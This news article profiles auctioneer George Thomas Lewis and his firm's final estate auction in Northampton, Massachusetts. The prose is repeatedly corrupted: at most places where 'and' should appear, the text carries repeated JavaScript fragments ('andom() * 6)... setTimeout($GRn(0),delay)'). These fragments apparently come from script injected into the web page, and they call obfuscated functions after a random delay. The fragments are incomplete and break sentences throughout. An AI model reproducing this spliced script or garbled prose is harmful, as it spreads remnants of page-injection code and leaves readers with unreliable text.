By: W.A. Demers

NORTHAMPTON, MASS. — For more than 35 years, George Thomas Lewis & Co. has specialized in estate, antiques andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and fine art auctions, as well as estate appraisals. Lewis, the company’s namesake, has personally been involved in the trade for 37 years andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and said that most of his employees have been with him since the beginning. “It’s a very emotional time for me,” said the auctioneer, who when contacted, was in the throes of photographing items that will be offered in the firm’s concluding auction on Saturday, March 2.

Looking back over his career, Lewis said he has witnessed many changes in the trade, including changes in market tastes, demographic shifts andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and, of course, the Internet, which has changed everything from print media marketing andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and in-house bidding to technologies that favor online advertising andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and live online bidding. The March 2 auction will be a bittersweet event, said Lewis, who in recent years has staged about four sales a year because “a good deal of the work I do myself.”

He counts the Elizabeth Skinner estate of South Hadley, Mass., which grossed more than $1.2 million in 1988, as career highlight, along with selling items from the Sisters of Providence of Holyoke, Mass.

While the March 2 sale will be his firm’s last auction, Lewis said he is not sure of what his intentions will be going forward. “I will still do charity auctions,” he said, already looking forward to that morning when he will not have to get up andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and begin taking measurements andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and pictures of consigned lots.

—W.A. Demers